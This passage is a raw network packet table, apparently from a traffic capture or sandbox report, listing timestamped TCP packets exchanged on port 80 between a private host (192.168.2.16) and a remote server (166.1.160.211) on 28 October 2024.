Oct 28, 2024 19:46:21.293865919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293876886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293900013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293934107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293945074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293968916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294001102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294015884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294038057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294080019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294313908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294348001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294380903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294395924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294415951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294447899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294472933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294482946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294516087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294523001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294549942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294583082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294589996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294619083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294663906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.294811964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294847012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294882059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.294895887 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295031071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295064926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295083046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295099974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295135975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295144081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295344114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295377016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295388937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295411110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295444965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295455933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295479059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295512915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295530081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295557976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295591116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295600891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295625925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295670986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295675993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295711040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295744896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295759916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295779943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295813084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295830965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295846939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295895100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.295909882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.295985937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296036005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296041965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296070099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296103001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296117067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296138048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296185970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296205044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296458960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296493053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296508074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296528101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296566010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296593904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296627045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296660900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296673059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296696901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296749115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296753883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296782017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296817064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296835899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296849966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296884060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296894073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.296919107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.296963930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.297333002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297385931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297419071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297427893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.297454119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297498941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.297558069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297593117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297626972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297638893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.297660112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.297707081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.299495935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.299696922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.299729109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.299747944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.299824953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.515165091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.515352964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.542682886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548429966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548465014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548518896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548552990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548557997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548587084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548599958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548620939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548666954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548672915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548726082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548758030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548769951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548793077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548825026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548836946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548861027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548893929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548903942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.548949957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.548995972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549057007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549170971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549218893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549386978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549422026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549467087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549472094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549504995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549539089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549550056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549573898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549618959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549624920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549658060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549691916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549706936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549731970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549766064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549777985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.549801111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.549844980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550179958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550231934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550266981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550287962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550662041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550697088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550714970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550730944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550762892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550780058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550796032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550828934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550843954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550863028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550896883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550913095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550935030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.550987959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.550993919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551060915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551093102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551117897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551129103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551162958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551178932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551197052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551229954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551251888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551266909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551316023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551439047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551472902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551506996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551522017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551539898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551573038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551587105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551608086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551650047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.551889896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551943064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.551991940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552074909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552109003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552159071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552165031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552198887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552232981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552248955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552268982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552321911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552364111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552481890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552515030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552531958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552548885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552583933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552598953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552795887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.552844048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.552882910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.594175100 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.646327972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.788535118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.788777113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789211035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789272070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789309025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789325953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789366007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789413929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789482117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789516926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789550066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789571047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789585114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789632082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789664984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789814949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789865017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789866924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789900064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789932966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789948940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.789967060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.789999962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790014982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790034056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790067911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790079117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790376902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790410995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790431976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790445089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790477991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790488958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790512085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790545940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790556908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790580034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790613890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790628910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790648937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790699005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790745974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790827036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790862083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.790878057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.790973902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791007042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791022062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791042089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791074991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791102886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791239977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791290998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791294098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791347027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791382074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791388035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791415930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791471004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791615009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791668892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791703939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791714907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791831970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791866064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791877031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.791901112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791937113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.791946888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792074919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792109013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792120934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792143106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792176962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792196035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792210102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792258978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792259932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792468071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792500973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792517900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792536020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792570114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792582989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792603970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792637110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792651892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792673111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792721987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792860985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792895079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792928934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792947054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.792962074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.792995930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793011904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793029070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793076992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793235064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793268919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793303013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793313980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793337107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793370962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793382883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793528080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793565989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793577909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793600082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793633938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793651104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793668032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793704987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793715000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793881893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793916941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.793935061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.793967962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794001102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794015884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794034958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794085979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794101000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794188023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794223070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794234991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794256926 CET	80	49726	166.1.160.211	192.168.2.16
